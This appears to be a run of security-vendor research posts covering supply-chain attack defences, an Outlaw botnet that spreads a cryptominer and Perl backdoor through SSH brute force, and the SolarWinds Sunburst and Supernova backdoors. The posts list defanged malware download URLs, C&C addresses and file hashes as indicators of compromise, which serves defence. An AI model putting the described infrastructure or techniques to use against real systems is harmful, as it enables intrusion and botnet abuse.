Here are some best practices:  Oversee third-party products and services; apart from ensuring the security of the organization’s own online premises (e.g., patching, authentication mechanisms), security controls must also be in place in third-party applications being used.


Develop a proactive incident response strategy: Supply chain attacks are often targeted; organizations must be able to fully understand, manage, and monitor the risks involved in third-party vendors.


Proactively monitor the network for anomalous activities; firewalls and intrusion detection and prevention systems help mitigate network-based threats.


Enforce the principle of least privilege: Network segmentation, data categorization, restriction of system administration tools, and application control help deter lateral movement and minimize data being exposed.  Trend Micro Solutions


The Trend Micro™ Deep Discovery™ solution provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real time.


It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack life cycle, allowing it to detect threats even without any engine or pattern update.


Trend Micro endpoint solutions such as the Smart Protection Suites and Worry-Free Business Security solutions can protect users and businesses from threats by detecting malicious files and blocking all related malicious URLs.


Indicators of Compromise (IoCs): Related hashes (SHA-256):  0703a917aaa0630ae1860fb5fb1f64f3cfb4ea8c57eac71c2b0a407b738c4e19 (ShiftDoor) — detected by Trend Micro as BKDR_SETHC.D c14ea9b81f782ba36ae3ea450c2850642983814a0f4dc0ea4888038466839c1e (aio.exe)


HKTL_DELOG a3a1b1cf29a8f38d05b4292524c3496cb28f78d995dfb0a9aef7b2f949ac278b


(m.exe)


HKTL_MIMIKATZ 9415ca80c51b2409a88e26a9eb3464db636c2e27f9c61e247d15254e6fbb31eb


(printdat.dll)


— TSPY_KORPLUG.AN 52374f68d1e43f1ca6cd04e5816999ba45c4e42eb0641874be25808c9fe15005 (rcview.log)


— TROJ_SIDELOADR.ENC bcfacc1ad5686aee3a9d8940e46d32af62f8e1cd1631653795778736b67b6d6e


— TROJ_SIDELOADR.A 279cf1773903b7a5de63897d55268aa967a87f915a07924c574e42c9ed12de30 (sharphound.exe)


— HKTL_BLOODHOUND e5029808f78ec4a079e889e5823ee298edab34013e50a47c279b6dc4d57b1ffc (ssms.exe) — HKTL_PASSDUMP e530e16d5756cdc2862b4c9411ac3bb3b113bc87344139b4bfa2c35cd816e518 (w.exe)


— TROJ_CVE20177269.MOX 28c5a6aefcc57e2862ea16f5f2ecb1e7df84b68e98e5814533262595b237917d (Web.exe)


— HKTL_BROWSERPASSVIEW.GA  URLs related to the malicious update file:


hxxp://207[.]148[.]94[.]157/update/rcv50/update.zip hxxp://207[.]148[.]94[.]157/update/rcv50/file000.zip hxxp://207[.]148[.]94[.]157/update/rcv50/file001.zip  URLs related to additionally downloaded malicious files:


hxxp://207[.]148[.]94[.]157/aio.exe hxxp://207[.]148[.]94[.]157/smb.exe hxxp://207[.]148[.]94[.]157/m.ex_ hxxp://207[.]148[.]94[.]157/w hxxp://207[.]148[.]94[.]157/Web.ex_


Related C&C server (9002 RAT and PlugX variant):  66[.]42[.]37[.]101          Tags  Network | APT & Targeted Attacks | Research


One of our honeypots detected a URL spreading a botnet with a Monero miner bundled with a Perl-based backdoor component.


The routine caught our attention as the techniques employed are almost the same as those used in the Outlaw hacking group’s previous operation.


During our analysis, we also observed the use of an executable Secure Shell (SSH) backdoor, and noted that the components are now installed as a service to provide persistence to the malware.


The Perl-based backdoor component is also capable of launching distributed denial-of-service (DDoS) attacks, allowing the cybercriminals to monetize their botnet through cryptocurrency mining and by offering DDoS-for-hire services.


However, we think that the cybercriminals behind this threat may still be in the testing and development phase, based on the shell script components that were included in the TAR file but left unexecuted.


As of this writing, our telemetry has detected infection attempts in China.


Routine


Our data shows that the malware gains access to the system with brute-force attacks via SSH and executes two possible command files.


Components of the file and routine appear similar to those of a published entry, while our sample executed .x15cache, the bash script that downloads the malware.  Figure 1. Targeted machine using brute force via SSH The shell script downloads, extracts, and executes the miner payload.


The extracted TAR file contains folders with scripts and the miner and backdoor components.


Figure 2. Extracting the miner payload and backdoor component  Figure 3.


File tree of the extracted TAR file Folder a


contains the cron and anacron binaries, which are the cryptocurrency miners used by the malware.


The other files are shell scripts responsible for the execution of the miner components, cleaning, and deletion of competing miners installed in the system.


Folder b contains the backdoor components and shell scripts for running and stopping them.


One of the files, rsync, is an initially obfuscated Perl-based Shellbot capable of multiple backdoor commands such as file downloading, shell cmd execution, and DDoS.  Figure 4. Obfuscated Perl script  Figure 5.


Code snippet of unobfuscated rsync


Another file, ps, is a Linux executable that serves as an SSH backdoor.


Figure 6.


SSH backdoor


The file tree initially showed folder c from dota2[.]tar[.]gz file to be empty.


It also contains several binaries and shell scripts, but only a few of those execute during the infection.


From our honeypot sample, this may be an indication of the campaign’s being in the testing or development phase.


We think that future iterations of this threat will use the unused files.


However, looking around the related URLs ps tries to connect to, we found mage[.]ignorelist[.]com containing a compressed file, dota[.]tar[.]gz.


It contains the same file folders a and b as the TAR file downloaded by .x15cache, while folder c now contains the files tsm32 and tsm64, along with other executables and components.


Figure 7. Folder c


The files tsm32 and tsm64 appear to be scanners responsible for propagating the miner and backdoor via SSH brute force, and capable of sending remote commands to download and execute the malware.


Figure 8. tsm32  Figure 9.


Remote commands sent by tsm32


The file, .satan is a shell script that installs the backdoor malware as a service.


In Linux, files that start with a period are hidden.


Figure 10. .satan file Conclusion


When we initially uncovered the operation of Outlaw in 2018, we noted how quickly it went from the testing and development phase to compromising more than 200,000 hosts around the world, including mobile devices.


In this case, we were able to get samples indicating an attack in its early phase.


Initially compromising and infecting systems enables it to widen its reconnaissance and scanning capabilities for more open ports on specific IP addresses, report to the command-and-control (C&C) server, and launch DDoS attacks like User Datagram Protocol (UDP) floods.


Also, the techniques employed here are common and widely known to be exchanged in the underground.


Outlaw has made a name for itself by combining malicious cryptocurrency miners with a Perl-based backdoor able to turn its victim machines into a botnet in one DDoS-for-hire service.


Given that Perl is installed in the machine, the use of Perl programming language for its backdoor ensures the malware flexibility to execute in both Linux- and Windows-based systems.


And should the group decide to sell the code, the maintenance of the code would be easier to the buyer for more possible uses, adjustments, and execution.


We also noticed the presence of an APK file hosted in one of the servers, suggesting that if the cybercriminals decide to go further than just infecting servers, they may decide to attack Android-based devices.


Users are advised to close unused ports and to secure ports that are regularly open for system administrators’ support.


Users can also adopt a multilayered security solution that can protect systems from the gateway to the endpoint, actively blocking malicious URLs by employing filtering, behavioral analysis, and custom sandboxing.


Trend Micro Solutions Customers of the Trend Micro™ TippingPoint™ solution are protected from this threat via these MainlineDV filters:  2573: MINER - TCP (Request)    Indicators of Compromise (IoCs)  File name SHA256 Detection rsync 0d71a39bbd666b5898c7121be63310e9fbc15ba16ad388011f38676a14e27809 Backdoor.Perl.SHELLBOT.AB ps bb1c41a8b9df7535e66cf5be695e2d14e97096c4ddb2281ede49b5264de2df59 Backdoor.Linux.SSHDOOR.AB cron 4efec3c7b33fd857bf8ef38e767ac203167d842fdecbeee29e30e044f7c6e33d Coinminer.Linux.MALXMR.UWEJN anacron 66b79ebfe61b5baa5ed4effb2f459a865076acf889747dc82058ee24233411e2 tsm32 0191cf8ce2fbee0a69211826852338ff0ede2b5c65ae10a2b05dd34f675e3bae Trojan.Linux.SSHBRUTE.A tsm64 085d864f7f06f8f2eb840b32bdac7a9544153281ea563ef92623f3d0d6810e87   URLs • 146[.]185[.]171[.]227:443   • C&C for Backdoor.Perl.SHELLBOT.AB - 5[.]255[.]86[.]129:3333   • C&C for Backdoor.Linux.SSHDOOR.AB - 54[.]37[.]70[.]249/.satan  • 54[.]37[.]70[.]249/rp  • hxxp://54[.]37[.]70[.]249/.x15cache  • hxxp://54[.]37[.]70[.]249/dota2.tar.gz  • hxxp://54[.]37[.]70[.]249/fiatlux-1.0.0.apk   • APK file hosted on this server - hxxp://mage[.]ignorelist[.]com/dota.tar.gz  • mage[.]ignorelist[.]com  • zergbase[.]mooo[.]com         Tags  Malware | APT & Targeted Attacks | Endpoints | Research


Update on 12/29/2020 2:40 PM PST:


Information on Supernova added Update on 1/22/2021 4:56 PM PST:


Trend Micro's Zero-Day Initiative (ZDI) provided technical analysis of recently patched vulnerabilities in the SolarWinds Orion Platform.


CVE-2020-14005, one of these vulnerabilities, has been linked to the recent SUNBURST cyberattack on SolarWinds.


These vulnerabilities, when combined, could allow an unauthenticated attacker to execute arbitrary code as Administrator on an affected system.


Various sources have recently disclosed a sophisticated attack that hit organizations via the supply chain.


This was carried out via a compromised version of a network monitoring application called SolarWinds Orion.


The attackers used the access provided by this application to plant a backdoor known as Sunburst onto affected machines.


This backdoor provided the attacker with complete access to the targeted organization’s network.


What is Sunburst?


Sunburst is a sophisticated backdoor that provides an attacker nearly complete control over an affected system.


It has several peculiarities in its behavior, however.


Before it runs, it checks that the process name hash and a registry key have been set to specific values.


It will also only run if the execution time is twelve or more days after the system was first infected; it will also only run on systems that have been attached to a domain.


This specific set of circumstances makes analysis by researchers more difficult, but it also limits the scope of its victims to some degree.


It connects back to its command-and-control server via various domains, which take the following format: {random strings}.appsync-api.{subdomain}.avsvmcloud.com


The subdomain is one of the following strings:  eu-west-1  eu-west-2 us-east-1 us-east-2  Once in a system, it can both gather information about the affected system and execute various commands.


The gathered information includes:  Domain name Network interfaces Running processes/services Installed drivers  This gathered information is used either to generate a user ID for the affected machine, or to check against blocklists - if certain drivers, processes, or services are found on the machine, the backdoor will cease to function.


The commands that can be executed include:  Registry operations (read, write, and delete registry keys/entries) File operations (read, write, and delete files) Run/stop processes Reboot the system    What is Supernova?


Supernova, one of the malicious components associated with the attack, is a .NET web shell backdoor that presents itself as a legitimate SolarWinds web service handler.


It is a second-stage payload in the attack.


Once running, it inspects and responds to HTTP requests with appropriate HTTP query strings, cookies, and HTML form values.


It can also execute web shell commands via a specific HTTP request format.


Who is affected?


It is believed that Sunburst was delivered via a trojanized version of the Orion network monitoring application.


According to SEC filings by SolarWinds, threat actors inserted the malicious code into otherwise legitimate code, which means anyone who downloaded the software was potentially at risk.


This was done as part of the build process; the source code repository was not affected.


According to the SolarWinds SEC filing, this trojanized version was downloaded by under 18,000 customers from March to June of 2020.


Once this malicious code is present in a system, it runs the behavior described in the first part of this post.


Multiple organizations, including US government agencies, have reported that they were affected by this campaign.


Solutions


In a security advisory, SolarWinds advised all of their affected customers to immediately update their software to versions that do not contain the malicious code.


The advisory also lists the appropriate products and their versions.


Our article titled Managing Risk While Your ITSM Is Down includes suggestions on how to manage network monitoring and other IT systems management (ITSM) solutions.


In addition to this, the US Department of Homeland Security, in a directive to US government agencies, ordered that systems with the said software be taken offline and not reconnected to networks until they have been rebuilt.


The directive treats agencies to treat said machines as compromised, with credentials used by said machines to be changed as well.


Organizations that use SolarWinds Orion within their network may consider similar steps.


The malicious files associated with this attack are already detected by the appropriate Trend Micro products as Backdoor.MSIL.SUNBURST.A and Trojan.MSIL.SUPERNOVA.A. In addition to this, the entirety of the domain avsvmcloud.com has been blocked.


If you believe that your organization may have been affected by this campaign, visit this page for the available Trend Micro solutions that can help detect and mitigate any risks from this campaign.


If you’re a Trend Micro Apex One customer, check your product console for a notification to scan your environment for attack indicators of this campaign.


Indicators of Compromise


The following hashes are associated with this campaign and are detected by Trend Micro products:  SHA256 SHA1


Trend Micro Detection 019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134  2f1a5a7411d015d01aaee4535835400191645023 Backdoor.


MSIL.SUNBURST.A c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71 75af292f34789a1c782ea36c7127bf6106f595e8


Trojan.MSIL.SUPERNOVA.A ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6  d130bd75645c2433f88ac03e73395fba172ef676 Backdoor.